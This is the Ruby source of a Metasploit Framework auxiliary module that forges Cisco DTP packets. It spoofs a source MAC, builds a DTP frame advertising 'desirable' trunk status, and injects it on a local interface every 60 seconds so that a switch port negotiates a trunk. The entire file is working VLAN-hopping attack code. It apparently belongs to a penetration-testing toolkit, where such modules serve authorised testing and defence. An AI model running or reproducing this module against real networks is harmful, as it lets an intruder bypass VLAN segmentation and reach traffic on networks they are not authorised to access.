##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Capture

	def initialize(info = {})
		super(
			'Name'        => 'Forge Cisco DTP Packets',
			'Description'	=> %q{
				This module forges DTP packets to initialize a trunk port.
			},
			'Author'		=> [ 'Spencer McIntyre' ],
			'License'		=> MSF_LICENSE,
			'Actions'     =>
				[
					[ 'Service' ]
				],
			'PassiveActions' => [ 'Service' ],
			'DefaultAction'  => 'Service'
		)
		register_options(
			[
				OptString.new('SMAC',    	[false, 'The spoofed mac (if unset, derived from netifaces)']),
			], self.class)
		deregister_options('RHOST', 'PCAPFILE')
	end

	def build_dtp_frame
		p = PacketFu::EthPacket.new
		p.eth_daddr = '01:00:0c:cc:cc:cc'
		p.eth_saddr = smac
		llc_hdr =	"\xaa\xaa\x03\x00\x00\x0c\x20\x04"
		dtp_hdr =	"\x01"															# version
		dtp_hdr <<	"\x00\x01\x00\x0d\x00\x00\x00\x00\x00\x00\x00\x00\x00"			# domain
		dtp_hdr <<	"\x00\x02\x00\x05\x03"											# status
		dtp_hdr <<	"\x00\x03\x00\x05\x45"											# dtp type
		dtp_hdr <<	"\x00\x04\x00\x0a" << PacketFu::EthHeader.mac2str(smac)			# neighbor
		p.eth_proto = llc_hdr.length + dtp_hdr.length
		p.payload = llc_hdr << dtp_hdr
		p
	end

	def is_mac?(mac)
		!!(mac =~ /^([a-fA-F0-9]{2}:){5}[a-fA-F0-9]{2}$/)
	end

	def smac
		@spoof_mac ||= datastore['SMAC']
		@spoof_mac ||= get_mac(datastore['INTERFACE']) if netifaces_implemented?
		return @spoof_mac
	end

	def run
		unless smac()
			print_error 'Source MAC (SMAC) should be defined'
		else
			unless is_mac? smac
				print_error "Source MAC (SMAC) `#{smac}' is badly formatted."
			else
				print_status "Starting DTP spoofing service..."
				open_pcap({'FILTER' => "ether host 01:00:0c:cc:cc:cc"})
				interface = datastore['INTERFACE'] || Pcap.lookupdev
				dtp = build_dtp_frame()
				@run = true
				while @run
					capture.inject(dtp.to_s)
					select(nil, nil, nil, 60)
				end
				close_pcap
			end
		end
	end

end
